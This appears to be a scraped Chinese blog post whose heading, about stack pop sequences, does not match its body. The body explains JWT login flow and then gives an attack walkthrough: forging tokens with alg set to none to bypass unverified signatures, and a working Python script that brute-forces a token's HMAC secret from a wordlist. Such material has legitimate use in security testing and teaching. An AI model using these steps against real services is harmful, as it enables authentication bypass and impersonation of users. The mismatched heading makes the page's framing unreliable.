出棧序列問題
阿新 • • 發佈:2022-04-04
一、介紹
1、使用者端登入,使用者名稱和密碼在請求中被髮往伺服器
2、(確認登入資訊正確後)伺服器生成 JSON 頭部和宣告,將登入資訊寫入 JSON 的宣告中(通常不 應寫入密碼,因為 JWT 是不加密的),並用 secret 用指定演算法進行加密,生成該使用者的 JWT。此時, 伺服器並沒有儲存登入狀態資訊。
3、伺服器將 JWT(通過響應)返回給客戶端
4、使用者下次會話時,客戶端會自動將 JWT 寫在 HTTP 請求頭部的 Authorization 欄位中
5、伺服器對 JWT 進行驗證,若驗證成功,則確認此使用者的登入狀態
6、伺服器返回響應
7、JWT由三部分組成,頭部,宣告,簽名,以.
間隔
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ 頭部:eyJhbGciOiJIUzUxMiJ9 宣告:eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ 簽名(金鑰secret和頭部中的alg加密方式組成):lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ
alg:簽名的加密方式
iat:jwt的簽發時間
exp:jwt的過期時間,這個過期時間必須要大於簽發時間
iss: jwt簽發者
sub: jwt所面向的使用者
aud: 接收jwt的一方
nbf: 定義在什麼時間之前,該jwt都是不可用的.
jti: jwt的唯一身份標識,主要用來作為一次性token,從而回避重放攻擊。
二、繞過簽名登入
1、前提是後端沒有對簽名進行驗證,導致我們可以繞過
2、頭部和宣告都是base64加密的,可以解密出一些基本資訊
3、我們偽造基本資訊,然後將alg加密方式置為none或者secret置為[],使得簽名失效,然後base64加密,構造新的JWT
4、將簽名刪掉,然後拼接頭部和宣告
5、在HTTP傳輸過程中,Base64編碼中的"=","+","/"等特殊符號通過URL解碼通常容易產生歧義,因此產生了與URL相容的Base64URL編碼在Base64URL編碼中,"+"會變成"-","/"會變成"_","="會被去掉,以此達到url safe的目的
6、替換資料包中的JWT,從而繞過身份驗證
三、爆破簽名金鑰
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg'
with open('/YOUR-PATH/Top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')